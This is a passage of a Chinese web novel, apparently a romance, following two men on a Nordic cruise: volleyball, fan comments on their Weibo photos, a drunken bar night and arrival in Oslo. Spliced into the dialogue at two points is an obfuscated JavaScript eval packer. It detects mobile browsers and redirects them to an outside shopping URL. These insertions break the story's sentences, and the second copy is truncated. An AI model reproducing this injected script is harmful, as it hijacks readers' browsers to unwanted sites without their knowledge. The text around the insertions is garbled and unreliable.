“真的没关系啊,反正最后大家都没抽到,你的手气算是最好的了,我不敢抽是因为我手气更差,多半只能抽到一堆毫无用处的东西。” 比如:紧身泳裤。 陆朝深正在修白天在泳池拍的那张自拍,麦朗白天在水下吹泡泡的场景历历在目。 “好吧,”陆朝深想着想着没忍住笑了,“那你不怪我就行。” “开玩笑,我咋可能会怪你,”麦朗枕在自己交叉的手上。 陆朝深:“那我们找时间去坐直升飞机?” “我完全同意,刚好我还没在游轮上坐过直升飞机。” 陆朝深像是想起了什么,没再说话,把修好的照片全发给了麦朗。 游轮上的星链wifi还挺贵,几十美刀一天,陆朝深突然后悔买没带进本书出来,还不知道明天怎么打发时间。 “你看,”麦朗望向天空的月亮,“你觉不觉得今天的月亮很圆?有句诗叫什么来着,海上生明月,天涯....” “天涯共此时,”陆朝深接话,“语文学得还不错嘛,还会几句古诗。” “那是当然,中文那么难我都说得顺溜,”麦朗小小得意,“不过说到月亮,再往北边走,可能很难再看到月亮了。” 陆朝深点点头,确实很难看到月亮了,极昼就是这样的,到了午夜依然是太阳在上班,高高挂在天上落不下去。 陆朝深戴上耳机听歌,递给了麦朗一只。 “听会儿歌。” 陆朝深闭上眼,突然就没了困意。 他们很快就要进入极圈了。 14. 排球 游轮三楼的儿童区,今天格外热闹。 区域的中间,两个大人身边围着一圈小孩,像是在玩猫追老鼠,跑来跑去,你追我赶,其中一个大人时不时回头做个鬼脸,欢声笑语一片。 几个回合之后,另一个大人累得体力不支,坐在地上笑得走不动路。 “累死了,我先去休息一会儿。”陆朝深缓了一会儿,对麦朗说,“等会儿你玩完就来找我,我们去楼上吃饭。” 麦朗身上出了很多汗,但是看起来一点儿都不累,依然是兴致昂昂的样子,比了一个OK之后,重新挤进了小孩儿堆里。 不知道又是在商量什么好玩的,麦朗变成了孩子王,他走到哪小朋友们就去哪,呼风唤雨的很是威风。 陆朝深坐在休息区,和旁边的家长们一起看着麦朗带着自家的小朋友玩各种游戏。 自从来北欧遇到麦朗之后,陆朝深觉得自己变得很幼稚。 这种状态更像是回到大学那会儿,偶尔和朋友去酒馆喝到三更半夜,然后在无人的大街上大吼大叫,像个疯子一样乱跑。 找一家没打烊的小店,在夜晚微凉的风中嗦一碗又香又辣的火锅粉,癫狂又自由。 陆朝深坐在那儿,旁边的一位妈妈朝他笑了笑。 疯玩的时候没觉得什么,现在想起来开始有些不好意思。 陆朝深脑子里浮现出昨天他追着麦朗在泳池里打闹的场景。 那么多人看着,不尴尬吗?肯定不是的。 他还是会比较注意自己在别人面前的形象。 或许是这里没有其他认识的人,没有人知道他的过去,所以他没有那么多可以考量的东西。 他不需要随时看着陆半夏,牵着手过马路,不需要头疼地回复陆安迪班主任的“你弟弟又闯祸了”的消息,不需要担心陆芷喝饮料喝了多少,不需要为了陆雅的选研究生导师的事情忙得焦头烂额。 麦朗虽然年龄小,但会抢着帮他做完大部分的事情,陆朝深好几次都会种错觉,感觉已经不是一个合格且正常的大人了。 三个月后,他和麦朗就会在北欧的某个机场分道扬镳。时间很短,陆朝深想把这一份自由留在游轮里,留在北欧的极昼里,让它生根发芽,长成一个属于自己的乌托邦。 陆朝深不喜欢去过度思考未来,但他已经习惯了预测出结果,分离,也是一件很正常的事情。 这样一想,好像也没什么不好,要是一切都按部就班,那和在家里有什么区别? 想着想着,麦朗突然走了过来,蹲在他面前喘着粗气。 “不玩了?”陆朝深很想上手揉一揉麦朗的头发。 麦朗仰着头看向他,眼睛亮亮的,脸上有些汗水。陆朝深习惯性地拿出纸巾擦了擦,纸巾上脸的时候,麦朗有瞬间的错愕,随后又恢复原样,保持不动。 “嗯,”麦朗说,“我有点饿了,” 陆朝深起身把纸团丢进垃圾桶:“走吧,你昨天晚上不是说想去吃那个自助餐吗?” “对啊,”麦朗站起来:“哥,你要不要猜一猜我为什么要去那里吃?” 有个小孩子被家长拉着从陆朝深面前走过,也许是玩得意犹未尽,小朋友还回头看了眼他们,另一只小小的手挥了挥。 陆朝深没着急着回答麦朗的问题,很慈祥地摆了摆手,嘴里说着“goodbye”的口型,熟练得像一个经验丰富的幼师。 从刚到哥本哈根到现在,陆朝深和麦朗也相处了小半个月,他发现麦朗的问题是越来越多,把他当成了百科全书。 比如,在欧登塞参观安徒生博物馆的时候,问他为什么豌豆公主的床垫有那么厚? 有时走在路上突然很久都不说话,让陆朝深猜他刚才在想什么。 又比如是突然拍了一张天空的照片,问陆朝深哪朵云最像一头小猪。 陆朝深每次都一一回答,要么说“不知道”,要么就说几个离谱的答案,最后麦朗再告诉他。 这次也不例外。 “我猜......”陆朝深假装在认真思考,“里面有你最喜欢的吃的煎饼果子?” “游轮上哪有这种东西,”麦朗被陆朝深的回答逗笑了,“是因为里面有一支乐队在演出,边听歌边吃饭,美滋滋。” 也不知道麦朗是从哪里知道这么多的消息,反正他是没有再看过一点旅游攻略了,全程都跟着麦朗走。 不过直觉告诉陆朝深,麦朗选的这家自助餐,里面肯定有他喜欢吃的。 一直以来都是如此,陆朝深偶尔提到过的觉得好吃的或者想吃的东西,后来都在旅行中吃到了。 包括这次的炸鳕鱼。 “哥你尝尝,”麦朗把餐盘往前推了推。 事实上,陆朝深每次说的那些食物也是在抖音上刷到过,具体好不好吃他也不清楚,但是只要麦朗点了,陆朝深都是一个反应: “好吃。” 餐厅左边空了一块很大的场地,麦朗所说的乐队就在那里,主唱是一位上了年纪的阿姨,没什么口音,不知道是哪国人,但歌很好听,整个餐厅很安静,人们轻声地说话交谈,生怕干扰了动听的旋律。 吃饱喝足,两人回酒店轮流冲了个澡,陆朝深出来的时候,麦朗的头发还没吹,一手拿着平板,一手在笔记本上,陆朝深猜是在剪视频。 走进一看,麦朗正在挑选昨天泳池里的照片。 距离麦朗上次发微博已经过去了三天了,欧登塞的童话的那组被很多人喜欢,当时麦朗还想把和陆朝深拍的好几张合照发出去,包括偷拍他的劣质单人照。 陆朝深各种软磨硬泡地劝阻,最后麦朗才勉强把照片全部换成了自己的。 “今天要发吗?”陆朝深擦着头发问。 麦朗招了招手,示意陆朝深过来。 “我想在ins上把这些都发出去,然后微博弄个九宫格,你觉得怎么样?” 陆朝深很谨慎地核实了一下,照片没问题。 “不错啊你。” 没想到麦朗这么快就领悟了两个平台的风格。 麦朗挑了挑眉,眼里全是得意。 “可以可以,发吧。”陆朝深肯定道。 之后陆朝深就没管了,中午睡了一会儿,下午又去逛游轮。 昨天一天的时间,他们才去了游轮十分之一的场所。 今天时间充裕,陆朝深知道麦朗体力很好,没想过有那么好。下午先是去攀岩墙拿了一个路人局第一,又去篮球场充当了会儿野球帝,还去游戏厅玩了一个小时的游戏。 直到路过了一个小型的沙排场。 陆朝深隔老远就看到了,他想起前几天看麦朗的视频,粉丝们在评论区讨论关于“排球运动员到底行不行”的话题。 他知道麦朗因为受伤而退役,所以一直在暗自观察麦朗的表情。 沙滩排球虽然在赛制和场地大小上和排球有区别,但终归是属于排球,陆朝深担心这会不会牵动麦朗的心理阴影?曾经受伤的地方会不会再隐隐作痛? 痛应该是不会痛了,麦朗才打了篮球。 接下来,麦朗的举动也印证了陆朝深的猜想是完全...... 错误的。 麦朗之前就若无其事地分享过,欧洲的年轻人很喜欢打沙排。 这会儿沙排场已经摆好了阵型,应该是临时组的比赛打着玩的,两边都有年轻男女站在一起,仔细数数,右边好像还少了一个人。 麦朗把自己的手机放在了陆朝深的兜里:“哥,你等我一下,我去玩玩。” 说完就跑到沙排场上去了。 在陆朝深准备好相机的时间里,麦朗已经说着一口流利的美式英语,和沙排场上的人打成了一片。 一番讨论,沙排场上的年轻人重新组了一下队,麦朗被簇拥着去了女生比较多的那一组。 陆朝深对沙排比赛不了解,目光和镜头一直在麦朗腾空跳跃的身影上,脚下沙子乱飞,扣杀,接球,麦朗的动作流畅有力,一气呵成。 真正的力量美学。 几乎是麦朗到哪个队,哪个队就赢,打到最后,应该是太累了,麦朗在最后几局稍微放了一下水,但又不是很多,在一片欢笑中结束了比赛。 走之前,麦朗被几个人拉着合了影。 “Hey, Mikel。” 为首的男生喊了一声麦朗,往陆朝深的方向瞟了瞟:“Is the man who came with you your friend?(那个和你一起来的人是你的朋友吗)” “Of course(当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150227|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然了)。”麦朗语气上扬,“A good fried(是很好的朋友)。” 一个女生突然冒出来打岔:e on~Brian, he looks like a typical straight guy.(拜托~人家看起来就是个直男好吧)” Brian撇了撇嘴:“I know, I''m just asking.(我知道,就是问一下而已)” 几个人小声说话,陆朝深就在对面的椅子上坐着休息,浑然不觉自己已经成为了讨论的焦点。 “哥!”麦朗突然冲他吼了一声,“过来一下。” 麦朗喊他的时候,周围的几个年轻人也笑着看着他。 陆朝深收起相机走了过去,麦朗一把搂住他的肩膀转过头,似乎是打上头了,麦朗离得很近,嘴唇差点快要贴到了耳朵,陆朝深甚至能感受到麦朗体内沸腾的血液,散着热气。 麦朗的声音撩得陆朝深耳朵痒痒的:“Cora说她想加一个你的联系方式。” 话说到一半,一个女生上前亮出了自己的WhatsApp。 陆朝深一时间也分辨不出这个叫Cora的女生想做什么,但既然麦朗说了,陆朝深也不好拒绝。 走之后,陆朝深时不时看一下手机的消息:“你们刚刚讨论了些什么?” “嘿嘿,讨论了一下你。”麦朗自动忽略了Brian要加他微信的事情,“那个Cora说她认得你,她说她很崇拜你,好像还说了什么瑞典电影节?我没听清。” 陆朝深反应过来,Cora多半是自己之前写的那部吸血鬼和狼人的剧本被拍成电影之后的粉丝。 电影上映之后就在国外火了,他短暂地出席过上海的国际电影节,年底之前,这部电影还会在瑞典电影节重映。 他的版权代理人好像跟他提过这事儿,陆朝深当时因为太忙,就拒绝了瑞典官方的邀请。 一下子扯出好多工作上的事情,陆朝深心里莫名烦躁,有种被人从美梦中强行拽出来的感觉,加上跟着麦朗疯玩了一下午,他突然觉得特别特别累。 陆朝深重重地叹了口气。 “哥你怎么了?”麦朗微微弯腰,看着陆朝深,“是不是Cora加好友这件事情让你不舒服了?” 陆朝深摇了摇头。 麦朗自责地嘶了一声:“都怪我怪我,当时打排球打上头了我又听她说她很崇拜你什么的一兴奋就喊你过来了你要是不愿意删了就行我去给她....” 麦朗没断句说了一大堆,陆朝深顿时气消了一大半,连忙打断:“没有的事儿,我没有怪你,就是想起了一些工作上的事情,和你没关系。” 况且上大学的时候向他要微信的人多的去了,他根本不会因为Cora的事情而生气。至于工作,其实也没什么,只是稍微牵扯到一点旅行之前的生活,陆朝深就会感觉到一种强烈的窒息感和疲惫感。 陆朝深抬手,脑袋里闪过想捏一捏麦朗的脸的想法。 手在空中悬停了一秒,又往下移,放在麦朗的脖子边儿,捏了两下。 手指擦过喉结,麦朗看着陆朝深:“真的?” 陆朝深哭笑不得:“还能有假啊,我什么时候骗过你。” 麦朗咽了咽口水,好像确实....没骗过他。 马不停蹄地玩了大半天,麦朗终于没再到处乱跑,一路走走走停停,吃了顿下午茶补充了一下体力,麦朗又拉着陆朝深去剧院看了场表演。 陆朝深看得很认真,他对这场表演很有印象,尤其是名字。 当时游轮在公布了表演公告之后,他依稀地记得他给麦朗说过想看这部来着? 回到酒店,陆朝深暂时把麦朗的排球的事情抛在了脑后。 网络的速度快了很多,他打开手机,准备看看麦朗都发了些啥。 ins的热度还是非常高,才过一天,点赞量都快超过在欧塞登的那一组照片了,就算是穿了泳衣,依然挡不住麦朗身上的男性荷尔蒙气息。 陆朝深很满意,又打开了微博,麦朗发的照片出现了关注首页。 陆朝深看了一下,立马把手机关了。 完了。 陆朝深把头埋在枕头里。 全完了!!!!! 15. 酒杯 麦朗一直都很困惑,为什么陆朝深不想让他发双人合照。 在他看来,朋友一起出去玩,发个合照天经地义,彰显一下两人之间的友情,应该没人会有意见吧。 只要不散播违法信息,难道不应该想发就发什么吗? 关于这个问题,陆朝深给出的理由有很多,比如:“这是你的个人微博,发多了别人的照片不太好。” “会带偏粉丝的风向的,对你账号会有影响。” “我的照片太多,粉丝们可能会吵架,你也不想评论区乌烟瘴气的吧。” 每个理由听起来都有点道理,但他想破脑袋也不知道,陆朝深口中的“带偏”和“影响”到底是什么,更不知道能怎样吵起来。 想肯定是想不明白了,麦朗只能猜测,陆朝深会不会只是觉得那些合照不够好看,或者说自己的技术不行?所以一直不想发。 毕竟单从照片的风格来看,确实不搭配。两人的摄影水平相差太大。 但是拍了那么多张,总有一组是能凑合到一起的。 所以他这次发的既不是合照,也不是自己的单人照。 而是九张被刻意拼接起来的长图。 陆朝深闭上眼,不知道该说什么。 麦朗成功习得陆朝深之前教过他的“对称美学”,每张长图,都由两张不管是在色彩,质量还是类型上都很相似的照片组合在一起。 如果是长图的话没问题,可是为什么长图里只有他和麦朗?! 更要命的是,还都是统一的一上一下的布局,整齐划一,非常规律。 麦朗在上,他在下。 估计是选了很久的照片,陆朝深精心拍的一张都没用上,全都是随手拍的,刚好能和麦朗给他拍的照片进行一个对接,不至于太违和。 所以这次的照片整体偏日常,算不上丑。 陆朝深点开仔细看了看,长图1,上面是麦朗刚比赛完从泳池里冒出头,下面是陆朝深在泳池里摆弄着防水小相机。 长图7,上面是麦朗打完篮球,四仰八叉地躺在地上休息,下面是陆朝深翘着二郎腿,坐在休息区的椅子上看手机。 而在九宫格的中央,更是放上了两双漂亮的眼睛。 上面的眼眶深邃稍长,瞳色深蓝,英气但不刻薄。下面的眼型偏圆,眸光明亮,安静又风雅。 陆朝深有些愣神,没想到麦朗把他的眼睛拍得那么好看。 借用热评第一的话来形容: 一双是蓝色山脉中的湖心,一双温带森林上空的极光。 经过一天的酝酿,这条微博的热度已经达到一种史无前例的高度,陆朝深做好心理准备,往下翻了翻。 以下是评论区的精彩节选: 「小狗日记」:老公你......?啊?啊? 「香菜不吃香菜」:我请问呢,这是要官宣了吗? 「左拥183右抱191」:大家快来看我的名字哈哈哈哈,左右变上下噜~ 「雪天你化为泪痕」回复「左拥183右抱191」:抱歉,你不在名单以内.....我加入 「非形式主义现实」:老公还是这么帅啊啊啊,新朋友也好帅,果然帅哥的朋友还得是帅哥(哭泣) 「甜心心砂糖」:欧米茄中间那两双眼睛....太好看了太美了太般配了我说,dbq我词穷,1L的评论真的绝了 「E了KA在敷面膜」:wrm哈哈哈哈我说话有点不太方便哈哈哈哈哈哈,我先捂嘴尖叫两天啊啊啊啊 「煤淇泄楼」:玛雅老公变老弟了,这是之前视频里面出现的新朋友吗,到底是新朋友还是新男朋友啊(无恶意) 「Branger是大猛1」回复「煤淇泄楼」:这俩一看就是好朋友好吧,虽然我是盖但我觉得麦麦子看起来就不是啊,那个新朋友也不像会是喜欢男的。 「痴心缓元鱼」回复「Branger是大猛1」:宝宝你真的是大猛1吗嘻嘻 「锦栗」回复「Branger是大猛1」:谁家好朋友发这种照片啊?(捂嘴笑) 「哎呀我狗呢?」回复「锦栗」:微博上多的去了啊姐妹,要不要我给你@一下真情侣是什么样的? 「孙梓冰法」回复「Branger是大猛1」:我纯直男,兄弟我支持你 「锦栗」回复「孙梓冰法」:?直男还看Mikel? 「孙梓冰法」回复:为什么不能?人家又不是擦边的,我还等着Mikel的攻略谢谢。 ........ 又翻了一会儿,形势并没有陆朝深想的那样一边倒的严峻,大多都只是调侃,这样一看,麦朗发的这些照片也不会造成什么特别的负面影响。 说到底,麦朗才是这个账号的主人,陆朝深的所有方案都只能算建议。 如果干涉得太多,反而不合规矩。 想通了之后,陆朝深云淡风轻地收起了手机,坐在窗边欣赏大海。 假装没看到过。 夜色降临,大海渐渐地隐身,和天连在了一起。 麦朗回来的时候,手里提了几个小小的袋子,橙黄色的袋身上印了一个雪花的logo。 发了会儿呆,陆朝深休息得差不多了,把手机抛着玩。 “你去哪玩儿了?”陆朝深问。 回酒店的时候,麦朗突然心血来潮想去个地方,但又看陆朝深一脸疲惫,就悄悄溜了。 “去顶上的购物中心逛了一圈,”麦朗从袋子取出一个金色的小巧徽章:“送你的,六月飞雪号的纪念品。” 一句“真乖”差点说出口,陆朝深拆了一包之前在哥本哈根超市买的芝士黄油爆米花,塞进了嘴里。 “哇,居然还有礼物送给我,”陆朝深算是活过来了一点,“谢谢咯,你早说去买纪念品,我就和你一去了。” 麦朗兴致不减:“没关系,反正待会儿我们还要去喝酒。” 话又说回来.... 陆朝深现在很想给白天毫不犹豫答应麦朗的邀请的自己一耳光。 “对了哥,你看到我微博的照片了吗?” 哪壶不开提哪壶。 “我刚刚看了,”陆朝深若无其事地说,“怎么和今天中午你给我看的不一样?” 麦朗心中暗喜,这是默许了以后可以发合照了? “本来是想发的,”麦朗说,“但是我总觉得不太好,感觉只发一个人的怪怪的。” 陆朝深:“哪里怪了?” “因为我想让你出现在我的微博里。” 这句话说得猝不及防,陆朝深一时间有点不知所措。 “为什么?” “很简单啊,”麦朗很理直气壮地说,“我不发的话,等旅游结束了,别人怎么知道你跟我一起出去旅游过?” 陆朝深从小到大习惯了委婉含蓄的表达,麦朗这直球打得脸不红心不跳的,和前几天在超市被一句“你穿这个会不会有点紧”说得无地自容的简直是两个人。 陆朝深没做出反应,一口气拿了好多包零食出来;“来吃点吧。” 麦朗接过零食,继续输出。 “我之前就怀疑,你不让我发合照的原因就是觉得我把你拍得不好看,所以我在一堆废片里找到了九张还算看得过去的照片。” 毕竟陆朝深平时也会教他拍照,有天才摄影师的指导还没点长进,简直是天理难容。 “而且你老是说发合照不好,那我发两人的单人照拼图也可以呗,我看也有没有什么不良影响嘛。” 微博的评论区的确没有沦陷的那么厉害,证据不充分,陆朝深无话可说。 “挺不错的,”陆朝深有些违心地鼓励麦朗,“这次的照片选得很有水准。” 这么一夸,麦朗又开始变得激动起来:“你现在休息得怎么了?” 陆朝深抬眸:“想去喝酒了?” 麦朗很用力地点了点头。 · 晚上十二点,游轮上的年轻男女逐渐涌入一楼的酒吧。 原因是酒吧在今天开放了迪厅,且限今天,这样的场合对于陆朝深来说不算陌生,社交嘛娱乐嘛,来都来了,还是有必要的。 陆朝深出门前把自己捯饬了一下, 麦朗一直在夸他,毫不吝啬地赞美。 以往的陆朝深虽然平易近人,但始终能感受到一种不属于人类的疏离感,今天的他反其道而行,穿了一件很宽松的裸卫,脖子戴着一根银白项链,不像之前那样把领口捂得很死,露出了白皙的肌肤。 酒吧里光线昏暗,但是禁烟,空气还算干净,味道没那么难闻,为了不过多打扰没来参加的乘客,音量也能接受。 中央的灯球把五颜六色的光束折成了很多细碎的一片,酒吧人很多,一进到迪厅,两人一前一后,很快就被拆散了。 “Hallo。” 陆朝深的肩膀被人拍了一下。 一个男人拿了个酒杯,眉眼轻佻,说了些话,陆朝深没听懂,但只知道对方是个德国人。 本着结交外国友人的想法,陆朝深尝试着用英语沟通,好在一切顺利。 男人说自己叫Wilhem,问陆朝深能不能和自己的朋友们一起喝一杯。 可以是可以,但麦朗呢? 陆朝深回头看了看,才知道自己的担心是多余的。 麦朗站在迪厅的中央,和身边的男人女人蹦得很是开心。 这才进来几分钟啊... “Let''s go。”陆朝深对Wilhem说。 - 无论是哪里的酒吧,大家玩的游戏基本都一个样。 除了那种很不对劲的游戏,陆朝深几乎都会玩, 手机的电量很快见了底,看不到时间,陆朝深估算着,他们已经喝有一个小时了。 趁着有人去上厕所,陆朝深开始在人群中搜索麦朗的位置。 不远处,麦朗被一群人起哄着灌酒,头上戴了一个不知道从哪里拿的小玩意,类似于发卡的东西,上面还有两个竖起来的小球。 心有灵犀,两人对视。 麦朗突然咧嘴笑了笑,左右摇了摇自己的头,上面的小球也跟着一起晃,很像一只很可爱的小蜜蜂。 陆朝深实在是萌到了,当了一秒的爹粉,刚想走过去,Wilhem在身后喊了声自己的名字。 再回过头的时候,麦朗已经淹没在人海里。 好吧。 · 凌晨三点,酒吧里的人陆续离开。 Wilhem还没走,一直跟在陆朝深旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我们走吧,你要不要....去喝一杯特调?”麦朗语气大方爽快,说着想要揽过陆朝深的肩膀,但又头昏眼花,好几次没搭到位置也不恼,干脆破罐子破摔,搂在了陆朝深的腰边。 “不喝了,你喝醉了,”陆朝深很有耐心,“我们回去休息吧。” 麦朗像个小孩子一样赌气:“我不。” “听话,”陆朝深说,“你真的喝太多了。” 他原本以为麦朗很会喝酒,没想到居然一点分寸都没有,能醉成这样。 “哥,”麦朗转过头,眼神依旧迷离,“我想和你喝。” “下次好吗?” 陆朝深把这些当成了麦朗的酒后胡言,架着麦朗就往回走。 麦朗没听到想要的回复,索性站在原地不动。 “我想和你喝酒,不要下次。”麦朗醉醺醺地重复了一句。 陆朝深拗不过他,问:“为什么?” 麦朗的声音小了点,到最后只剩下嘟囔声,陆朝深只能把耳朵凑到麦朗的耳边,任凭他吞吐着酒气。 只言片语中,陆朝深听得断断续续。 “明明是...你说的要和我一起喝酒的,但是你一直都在和你认识的新朋友喝,我想找你也找不到。” 麦朗的语气挺委屈,陆朝深心软了一半,认真回忆了一下。 他有说过这句话吗? “是你说的你想尝尝那个叫‘日不落’的特调,怎么现在又反悔啊,我都帮你问了,这个只有今天能喝,后面就没机会了。” 麦朗的脸被红晕所掩盖,如果是正常的情况,这个表情应该是难过的。 陆朝深的心被揪了一下,他确实给麦朗提过“日不落”。 这下真是他理亏了。 人群缓缓流动,只留下他们俩站在原地不动。 · “对不起,”陆朝深向麦朗道歉,“我的错,是我记性不太好,搞忘了。” 麦朗没反应,陆朝深只好继续哄着:“要不这样,我们回酒店喝。” 麦朗看着陆朝深,看了好一会儿。 “好。” 这才听话地点了点头。 兴许是白天玩得太凶猛,麦朗倒在床上,脑袋一沾枕头就睡了。 陆朝深帮着麦朗脱了鞋袜,再盖好被子。 他已经困到极点,但还是去浴室冲洗酒气。 出来的时候,空气中弥漫着一股不详的味道,陆朝深捂着鼻子,扯了一大堆纸巾。 麦朗吐了,被子和衣服上都是。 幸运的是,这一下吐的不多,而且吐的全是酒。太晚了,陆朝深不好意思喊工作人员帮忙换,强忍着困意,把麦朗的那床被子清洗了一下,随便找了个空位晾着。 然后再脱掉麦朗的上衣,拿毛巾简单地擦拭了一下。 前几晚,他和麦朗各用一床被子,两人都既不打呼噜也不乱动,睡得非常和谐。 现在只剩下一床被子,也能凑合着睡。 解决完所有问题后,陆朝深立马躺下,刚睡下没多久,麦朗翻了个身,正对着陆朝深,然后一直手搭了过来。 麦朗身上很热,手臂挨着身上像是放了一个暖手宝,迷迷糊糊中,他感觉自己的腰被搂住了。 随后那只大手稍稍一用力,陆朝深整个人就被带了过去,挨上了一具健壮又滚烫的躯体。 陆朝深还是第一次在床上和别人离得那么近,麦朗的呼吸声非常稳定,好像是真的睡着了, 他太困太累,没精力思考那么多。 算了,管他的,小孩儿嘛。 陆朝深心里这么想。 先睡吧。 16. 朋友 腿被什么东西抵住了。 陆朝深眼皮动了动,即使没睁眼,炽烈的光线也能让闭眼后的虚空变成一团橙色。 天已经大亮,现在极有可能是中午。 被硌的感觉很不舒服,陆朝深下意识地伸进被窝里,用手拨开。 刚一碰到,耳边的呼吸突然变得急促。 似乎是隐隐约约知道了某个事实,但心里又不愿意接受,陆朝深又碰了碰。 身旁传来一阵动静,麦朗因为生理性刺激而颤了一下。 这种感觉很奇特,好像是按到了什么按钮。 嗯? “嗡”的一声,陆朝深的脑袋变成一片空白,瞬间晴天霹雳。 手在上面放了几秒,猛地一下像触电一样抽回。 仅剩的一点瞌睡被彻底清理干净,陆朝深继续闭眼,假装没醒,心率直线升高,怦怦地跳,声音传导至耳膜。 他在干什么? 他都做了些什么? 麦朗的呼吸声又归于平稳,陆朝深不停地在心里找借口,给自己的羞耻行为开脱。 我真的不知道,我真的没碰到,我真的不是故意的..... 就这样被抵了好几分钟,陆朝深确认麦朗还没醒,先挪了一下自己的腿。酒店的床不小,对于他们来说完全足够,但是麦朗靠得太近,两个人就这样挤在一边,再往右移一点就会掉下去。 一只腿就这么在空气中暴露了一会儿,吊在床边。陆朝深把麦朗放在自己身上的手拿开,然后坐了起来。 心跳还没恢复正常,陆朝深做了一个深呼吸,接下来的每一个动作都小心翼翼。 枕头柔软厚实,麦朗朗侧着脸,一小部分陷了进去,脸上的红晕已经消散了,恢复成了之前的健康的浅麦色。 背部露出宽大的一片,肌肉饱满,被子褪到了中间的位置,刚好遮住窄窄的腰。 陆朝深站在床边,穿衣服的时候一直看着麦朗的眉眼。 昨晚醉酒的情景还历历在目,现在反应过来,这样的麦朗他还是第一次见。 希望等会儿麦朗醒来,眼睛依旧是清澈明亮的。 这一觉睡到了下午一点,按照工作人员给的指南,游轮即将抵达挪威的首都,奥斯陆。 麦朗的计划是从冰岛回来之后再去挪威,所以不出意外的话,这几天也只是在船上欣赏一下风景,陆朝深并不着急,时间还有很多,可以慢慢感受。 自从那天麦朗提出要将视频收益的一半分出来后,陆朝深就开始主动帮着麦朗处理一些工作上的事情。 这笔钱其实他是不想要的,或者根本没有想要那么多,但麦朗在这方面上又执着得可怕,陆朝深只能让让他。 在哥本哈根,他本来想提供免费的视频素材,但麦朗非要以报销房租为报酬。一路上除去必要的交通和吃的,根本没花什么钱。 来之前攒了好久的积蓄,现在居然没有可以花的地方。 陆朝深向来不是喜欢白吃白喝的人,能替麦朗分担一点是一点。 陆朝深点开了麦朗的合作邮箱。 关于麦朗的视频收入来源,大致有这几种,主要是商广投放软植入,旅行策划变现,文旅景区推广,商铺产品返佣,还有直播收入。 商品广告是最多的,麦朗身材好,比例优越,可以植入的软广也很多。再加上这段时间麦朗的粉丝疯涨,大量产品商蜂拥而至,邮箱每天都是爆满状态。 陆朝深简单地分了一下类,合作邮件可以分为正经的和不正经的。 什么冲锋衣,运动鞋,登山套装羽绒服都是常客,也有那种日常穿搭向的寄拍,价格也不低。健身这一方面,蛋白粉,减肥小零食,运动器材都有。 不正经的呢,也挺多。 比如什么增强身体某种功能的保健品,一些看起来就很奇葩的内衣内裤,还有更脏的,陆朝深看得一阵无语。 难不成这些人还真把麦朗当网黄了? 筛选了半个多小时,陆朝深又把商家提供的这些产品拿出来一一比对,做了一系列调研之后,把剩下的精英产品单独整理出来,最后再交给麦朗来做选择。 手机收到一条消息,陆朝深打开微信。 唐思颖:深深深深深 陆朝深:咋啦? 唐思颖:你现在在哪儿玩啊(狗头)?应该不在丹麦了吧。 陆朝深:没呢,我现在在游轮上。 唐思颖:嗯~ 唐思颖:我猜一下,是不是在去冰岛的游轮上? 陆朝深:(惊恐×2) 陆朝深:你怎么知道? 唐思颖:我前天找北欧旅游攻略呢,你猜猜我刷到了谁? 陆朝深脑补了一下过程,唐思颖应该是先刷到了麦朗的B站的丹麦视频预告,然后发现这个帅哥怎么这么眼熟,于是去关注了麦朗的微博,然后看到了最新的那一组照片。 唐思颖:我就说你钓到洋鱼儿了你还不承认。 陆朝深:我服了。 这么多年过去了,唐思颖还是觉得他喜欢男的。 陆朝深曾经很好奇为什么,后来唐思颖给他说,就因为他上大学居然没谈过女朋友。 这一点他无法反驳,因为他上大学之后,确实对女生没有任何想法。 当然,对男生也没有。 他想了一下,这种状态应该是从家里出事之后开始的。 别人谈恋爱的时候他在照顾弟弟妹妹,别人快要结婚了,他在写剧本,别人生的孩子到处发请帖吃满月酒,他在北欧悠悠闲闲地逛街。 爱情这方面,一直都没有什么波澜,最多自己动手,丰衣足食。 陆朝深:.....我和麦朗只是朋友。 唐思颖:哈哈哈哈哈哈我知道,开玩笑的。 陆朝深:怎么想起给我发消息了?找我有什么事吗? 唐思颖:当然有了,我前天到的挪威的奥斯陆,已经在这边玩了两天了,我听说你那个游轮会在奥斯陆停留半天? 陆朝深:是的 唐思颖:我就想着约你吃个饭呗,咱好久没聚了。 陆朝深:好啊,再过一会儿就到奥斯陆了,你来北欧怎么不提前给我说一声? 唐思颖:哎我也是看到你那天发的朋友圈,刚好上部电影也杀青了,临时起意来的。 陆朝深:不错不错,你也该休息了。 唐思颖:嘻嘻,那是当然 唐思颖:行吧,你到了奥斯陆了给我发个消息。 陆朝深:没问题。 · 下午两点,“六月飞雪”抵达挪威奥斯陆,并将会在这里停留足足四个小时。 陆朝深下船之前,麦朗曾短暂醒过一次,但没坚持几秒钟又躺下了。 多半是喝了太多的酒的缘故,这个状态肯定没办法下船,更何况和老朋友见面,也不方便带着一起,陆朝深提前在微信上给麦朗留了言。 “我去奥斯陆和朋友吃个饭,吃完饭就回来。” 陆朝深下了游轮,阿克尔码头很平静。 北欧的性格,大部分时间里都算得上冷峻,但一年中少有的时候,也会近人情。 奥斯陆步入初秋,此时的季节,街道两边的树还绿得通透,路面没有大片的积雪覆盖,走到市区的中心某个角落,还能看到砖缝里生长出的苔花,和米粒一样小。 从码头岸上放置的巨大船锚,到市区的写字楼,奥斯陆保留了许多中世纪文化的建筑风格,爱奥尼式的柱头有卷涡状的纹饰,楼房上矗立着形态各异的尖塔。 顶端之上,挂上了属于这里的旗帜。 挪威最出名的大理石,在这里已经不再是尸体,百年前它们被送往其他国家作为皇室的赠礼,现在成了不朽的标本,构成了奥斯陆建筑的每一寸血肉。

